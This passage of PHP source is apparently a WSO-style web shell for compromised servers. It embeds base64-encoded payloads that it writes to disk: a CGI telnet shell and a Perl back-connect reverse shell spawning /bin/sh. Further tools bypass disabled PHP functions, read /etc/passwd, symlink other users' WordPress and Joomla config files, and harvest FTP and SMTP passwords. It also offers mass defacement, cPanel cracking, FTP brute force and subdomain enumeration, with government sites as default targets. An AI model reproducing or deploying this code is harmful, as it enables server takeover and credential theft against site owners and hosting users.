obmFtZSBvZiB0aGUgZmlsZSB0byBiZSBzZW50Lg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFNlbmRGaWxlVG9Ccm93c2VyDQp7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCXByaW50ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQ0KIyB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rIHRocm91Z2ggd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsDQojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcGxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZVVwbG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KDQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCglwcmludCAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsNCg0KCSMgZ2V0IHRoZSBmdWxsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGNyZWF0ZWQNCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOw0KCSRUYXJnZXROYW1lIC49ICRQYXRoU2VwLiQxOw0KDQoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQoJIyBpZiB0aGUgZmlsZSBleGlzdHMgYW5kIHdlIGFyZSBub3Qgc3VwcG9zZWQgdG8gb3ZlcndyaXRlIGl0DQoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpDQoJew0KCQlwcmludCAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOw0KCX0NCgllbHNlICMgZmlsZSBpcyBub3QgcHJlc2VudA0KCXsNCgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpDQoJCXsNCgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQoJCQljbG9zZShVUExPQURGSUxFKTsNCgkJCXByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlwcmludCAiRmFpbGVkOiAkITxicj4iOw0KCQl9DQoJfQ0KCXByaW50ICIiOw0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KDQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlDQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGENCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IGRpc3BsYXlzIGEgbWVzc2FnZSB0byB0aGUgdXNlciBhbmQgcHJvdmlkZXMgYSBsaW5rDQojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIERvd25sb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluDQoJaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgkJcmV0dXJuOw0KCX0NCgkNCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8DQoJCSghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0KCXsNCgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KCX0NCgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0KCXsNCgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgl9DQoNCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQ0KCXsNCgkJJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsNCgl9DQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCgl7DQoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBNYWluIFByb2dyYW0gLSBFeGVjdXRpb24gU3RhcnRzIEhlcmUNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==
';
    $file = fopen("cgi.cin", "w+");
    $write = fwrite($file, base64_decode($cgishellizocin));
    fclose($file);
    chmod("cgi.cin", 0755);
    $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh 
MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog 
ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo 
MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg 
ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb 
MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb 
Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An 
KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf 
SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg 
ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF 
UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi 
VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu 
ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+ 
JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl 
bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu 
ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE 
YXRhY2hlZFxuXG4iOw==';
    $file = fopen("dc.pl", "w+");
    $write = fwrite($file, base64_decode($netcatshell));
    fclose($file);
    chmod("dc.pl", 0755);
    echo "<iframe src=cgi-telnet/cgi.cin width=100% height=100% frameborder=0></iframe> ";
    echo '</div>';
    wsoFooter();
}
##################### Tools #########################
function actiontools()
{
    wsoHeader();
    echo ' 
<center> 
<a href=# onclick="g(\'mass\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Folders Mass Defacer       ]</a><br><br> 
<a href=# onclick="g(\'config\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Config Grabber       ]</a><br><br> 
<a href=# onclick="g(\'configsh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Config Killer      ]</a><br><br> 
<a href=# onclick="g(\'zoneh\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Zone-h Poster      ]</a><br><br> 
<a href=# onclick="g(\'ftpsmtp\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      FTP And SMTP Config Grabber      ]</a><br><br> 
<a href=# onclick="g(\'Php\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      PHP Exec     ]</a><br><br> 
<a href=# onclick="g(\'userchecker\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Web Site Username Checker     ]</a><br><br> 
<a href=# onclick="g(\'cpcrack\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Cpanel Cracker      ]</a><br><br> 
<a href=# onclick="g(\'lfiscan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      LFI       ]</a><br><br> 
<a href=# onclick="g(\'BruteForce\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      FTP BrutForce     ]</a><br><br> 
<a href=# onclick="g(\'sub\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Sub Domain Checker     ]</a><br><br> 
<a href=# onclick="g(\'shellfind\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[      Shell Finder      ]</a><br><br> 
';
    wsoFooter();
}
#################### Config Killer #################
function actionconfigsh()
{
    wsoHeader();
    echo ' 
<center><h1>Config Killer</h1> 
<center><form method=post><font color=white size=2 face="comic sans ms">Creat PHP.ini To Bypass Disbale Functions</font><p> 
<center><input type="hidden" name="a" value="configsh"><input type=submit name=ini value="PHP.ini" /></form> 
<center><form method=post><font color=white size=2 face="comic sans ms">Extract Username To Symlink</font><p> 
    <cente><input type="hidden" name="a" value="configsh"><input type=submit name="usre" value="Extract Usernames" /></form><br>';
    if (isset($_POST['ini'])) {
        $r = fopen('php.ini', 'w');
        $rr = " disbale_functions=none ";
        fwrite($r, $rr);
        $link = "<br><a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>PHP.INI</u></font></a>";
        echo $link;
    }
    ?>
 
     
     
    <?php 
    if (isset($_POST['usre'])) {
        ?>
<form method=post> 
    <textarea rows=10 cols=50 name=user><?php 
        $users = file("/etc/passwd");
        foreach ($users as $user) {
            $str = explode(":", $user);
            echo $str[0] . "\n";
        }
        ?>
</textarea><br><br> 
    <input type="hidden" name="a" value="configsh"><input type=submit name=su value="Get Symlink !" /></form> 
    <?php 
    }
    ?>
 
    <?php 
    error_reporting(0);
    echo "<font size=2 face=\"comic sans ms\">";
    if (isset($_POST['su'])) {
        mkdir('phdz-root2', 0777);
        $rr = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $g = fopen('phdz-root2/.htaccess', 'w');
        fwrite($g, $rr);
        $indishell = symlink("/", "phdz-root2/root");
        $rt = "<a href=phdz-root2/root><font color=white size=3 face=\"comic sans ms\"> Root</font></a>";
        echo " [+] Root Symlink<br><u>{$rt}</u>";
        $dir = mkdir('phdz-config2', 0777);
        $r = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $f = fopen('phdz-config2/.htaccess', 'w');
        fwrite($f, $r);
        $consym = "<a href=phdz-config2/><font color=white size=3 face=\"comic sans ms\">Configs</font></a>";
        echo "<br>[+] Config Grabbed<br><u><font size=2 face=\"comic sans ms\">{$consym}</font></u>";
        $usr = explode("\n", $_POST['user']);
        $configuration = array("wp-config.php", "wordpress/wp-config.php", "configuration.php", "blog/wp-config.php", "joomla/configuration.php", "vb/includes/config.php", "includes/config.php", "conf_global.php", "inc/config.php", "config.php", "Settings.php", "sites/default/settings.php", "whm/configuration.php", "whmcs/configuration.php", "support/configuration.php", "whmc/WHM/configuration.php", "whm/WHMCS/configuration.php", "whm/whmcs/configuration.php", "support/configuration.php", "clients/configuration.php", "client/configuration.php", "clientes/configuration.php", "cliente/configuration.php", "clientsupport/configuration.php", "billing/configuration.php", "admin/config.php");
        foreach ($usr as $uss) {
            $us = trim($uss);
            foreach ($configuration as $c) {
                $rs = "/home/" . $us . "/public_html/" . $c;
                $r = "phdz-config2/" . $us . " .. " . $c;
                symlink($rs, $r);
            }
        }
    }
    wsoFooter();
}
####################  FTP SMTP   ####################
function actionftpsmtp()
{
    wsoHeader();
    ?>
 
<center> 
<h1><b>FTP And SMTP Configs Grabber</b></h1> 
<FORM action=""  method="post"> 
<input type="hidden" name="form_action" value="1"> 
<table border=1> 
<tr><td><span>Configs Link :</span></td><td><input type="text" size="60" name="url" value="www.gov.dz/phdz-config/"></td></tr> 
</table> 
<br> 
<input type="hidden" name="a" value="ftpsmtp"><INPUT class=submit type="submit" value=">>" > 
</FORM> 
</font> 
</center> 
</body> 
</html> 
<?php 
    if (array_key_exists('form_action', $_POST)) {
        echo '<center><br><br>';
        echo "<span>";
        echo "[] Getting Config URL : [] " . $_POST['url'];
        $url1 = file_get_contents($_POST['url']);
        $ar = explode('<li><a href="', $url1);
        for ($vi = 2; $vi < count($ar); $vi++) {
            $var1 = strtok($ar[$vi], " ");
            $var1 = substr($var1, 0, -2);
            $link = $url1 . $var1;
            $filename = 'jftp.txt';
            $fp = fopen($filename, "a+");
            $write = fputs($fp, $var1 . "\n");
            fclose($fp);
        }
        echo "<br>";
        echo "[] Collected All Config Names []";
        echo "<br>";
        echo "[] Seperating Joomla Configs []";
        echo "<br>";
        $joomconfigs = file('jftp.txt');
        ini_set("display_errors", "0");
        set_time_limit(0);
        foreach ($joomconfigs as $joomconfig) {
            $pos = strpos($joomconfig, "oomla");
            if ($pos === false) {
                $filename = 'others.txt';
                $fp = fopen($filename, "a+");
                $write = fputs($fp, $joomconfig . "\n");
                fclose($fp);
            } else {
                $filename = 'joomla.txt';
                $fp = fopen($filename, "a+");
                $write = fputs($fp, $joomconfig . "\n");
                fclose($fp);
            }
        }
        unlink('jftp.txt');
        unlink('others.txt');
        echo "[] Joomla Configs Seperated []";
        echo "<br>";
        echo "[] Scanning JOOMLA FTP Credentials []";
        echo "<br>";
        echo "<center><table border=1 cellspacing=1 cellpading=1>   \r\n<tr><th width='400'><span>SMTP DETAILS</span></th><th width=200><span>FTP Host</span></th> <th width=150><span>FTP Username</span></td><th width=150><span>FTP Password</span></td><th width=100><span>ENABLED</span></td></tr>";
        $getconfig = file('joomla.txt');
        foreach ($getconfig as $gconfig) {
            $strlengconfig = strlen($gconfig);
            if ($strlengconfig > 2) {
                $urltoconfig = $_POST['url'] . "/" . $gconfig;
                $getconfig = file_get_contents($urltoconfig);
                $ftphost = entre2v2($getconfig, "ftp_host = '", "';");
                $ftpuser = entre2v2($getconfig, "ftp_user = '", "';");
                $ftppass = entre2v2($getconfig, "ftp_pass = '", "';");
                $ftpenable = entre2v2($getconfig, "ftp_enable = '", "';");
                $smtpuser = entre2v2($getconfig, "smtpuser = '", "';");
                $smtppass = entre2v2($getconfig, "smtppass = '", "';");
                $smtphost = entre2v2($getconfig, "smtphost = '", "';");
                $smtpport = entre2v2($getconfig, "smtpport = '", "';");
                if ($ftpenable == 1) {
                    $ftpenabled = "YES";
                    echo "<center><table border=1 cellspacing=1 cellpading=1>   \r\n<tr><td width='400'><font color='green' face='courier new' > host={$smtphost} <br> port={$smtpport} <br> user={$smtpuser} <br> pass={$smtppass} <br> </font></td><td width=200><font color='green' face='courier new' > {$ftphost} </font></td><td width=150><font color='green' face='courier new'> {$ftpuser}<font></td><td width=150><font color='green' face='courier new'> {$ftppass}</font></td><td width=100><font color='green' face='courier new'> {$ftpenabled} </font></td></tr></table></center>";
                } else {
                    $ftpenabled = "NO";
                    echo "<center><table border=1 cellspacing=1 cellpading=1>   \r\n<tr><td width='400'><font color='green' face='courier new' > host={$smtphost} <br> port={$smtpport} <br> user={$smtpuser} <br> pass={$smtppass} <br></font></td><td width=200><font color='green' face='courier new' > {$ftphost} </font></td><td width=150><font color='green' face='courier new'> {$ftpuser}<font></td><td width=150><font color='green' face='courier new'> {$ftppass}</font></td><td width=100><font color='red' face='courier new'> {$ftpenabled} </font></td></tr></table></center>";
                }
            }
        }
        echo "</font>";
        echo '</center>';
        unlink('joomla.txt');
    }
    function entre2v2($text, $marqueurDebutLien, $marqueurFinLien, $i = 1)
    {
        $ar0 = explode($marqueurDebutLien, $text);
        $ar1 = explode($marqueurFinLien, $ar0[$i]);
        return trim($ar1[0]);
    }
    wsoFooter();
}
#########################   Web Site Username Checker ##########################
function actionuserchecker()
{
    wsoHeader();
    echo '    <center><h1>Web Site Username Checker</h1><br><br> 
    </center> 
    </center> 
    <form method="post"><center>        
    <input type="text" name="si" value="http://www.gov.dz/"><br /> 
    <input type="hidden" name="a" value="userchecker"><input type="submit" name="b0x" value=">>" ><br></form> 
     ';
    $fo = $_POST['si'];
    $fo2 = $fo;
    $strlen = strlen($fo2);
    $fo2 = replace($fo2);
    for ($i = 0; $i <= $strlen; $i++) {
        $words[] = substr($fo2, 0, $i);
    }
    foreach ($words as $users) {
        echo $users . "<br>";
        if ($_POST['b0x']) {
            cURL($fo, $users);
        }
    }
    function cURL($fo, $users)
    {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($curl, CURLOPT_URL, $fo . "/cgi-sys/guestbook.cgi?user={$users}");
        $start = curl_exec($curl);
        if (!eregi("Invalid username", $start)) {
            echo "<font face='Tahoma' size='2' color='red'><b>{$users}</b></font><br>";
        }
        return $start;
    }
    function replace($fo)
    {
        $search = array('http://', 'https://', '.', '-', '/', 'www');
        $str = str_replace($search, "", $fo);
        return $str;
    }
    wsoFooetr();
}
####################### sub domain #######################
function actionsub()
{
    wsoHeader();
    echo '<br><center><h1>Subdomain Checker</h1><center><br>';
    echo '<html><body><center></br> 
<form method="post"> 
<input type="text" name="site" size="20" placeholder="www.site.com"> 
<input type="hidden" name="a" value="sub"><input type="submit" value="Check it Please !"> 
</form> 
</font>';
    echo '<br><center><span>( Delete http:// )</span><center><br>';
    set_time_limit(0);
    $subs = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "lan", "phpmyadmin", "administrator", "mape", "isp", "shop", "rex", "podcast", "potraga", "sensation", "igre", "foo", "api", "access", "ulaz", "pam", "sport", "pretraga", "pricaonica", "kuvar", "raketa", "wwwmobile", "s1", "s2", "foro", "s3", "box", "open", "abc", "phpbb3", "phpbb2", "internet", "phpbb", "whm", "mysql", "webadmin", "adm", "admin", "admins", "agent", "aix", "recnik", "alerts", "av", "antivirus", "app", "apps", "appserver", "archive", "as400", "auto", "backup", "banking", "bbdd", "bbs", "bea", "beta", "blog", "catalog", "cgi", "channel", "channels", "chat", "cisco", "client", "clients", "club", "cluster", "clusters", "code", "commerce", "community", "compaq", "conole", "consumer", "contact", "contracts", "corporate", "ceo", "cso", "cust", "customer", "cpanel", "data", "bd", "db2", "default", "demo", "cms", "design", "desktop", "dev", "develop", "developer", "device", "dial", "digital", "dir", "directory", "disc", "discovery", "disk", "dns", "dns1", "dns2", "dns3", "docs", "poslovi", "prijemni", "znanje", "mojtim", "documents", "domain", "domains", "dominoweb", "download", "downloads", "ecommerce", "e-commerce", "edi", "edu", "education", "email", "enable", "engine", "engineer", "enterprise", "slike", "galerija", "error", "event", "events", "example", "exchange", "extern", "external", "extranet", "fax", "field", "finance", "firewall", "forum", "forums", "fsp", "ftp", "ftp2", "fw", "fw1", "gallery", "galleries", "games", "gateway", "gopher", "guest", "gw", "hello", "helloworld", "help", "helpdesk", "arkiva", "lajme", "faqe", "helponline", "hp", "ibm", "ibmdb", "ids", "ILMI", "film", "navigator", "nalog", "prodavnica", "zdravlje", "reklamiranje", "zivot", "images", "imap", "pomoc", "imap4", "img", "imgs", "info", "intern", "internal", "intranet", "invalid", "iphone", "ipsec", "irc", "ircserver", "jobs", "ldap", "link", "linux", "lists", "listserver", "local", "localhost", "log", "logs", "login", "lotus", "mail", "mailboxes", "mailhost", "result", "management", "manage", "manager", "map", "maps", "marketing", "device", "media", 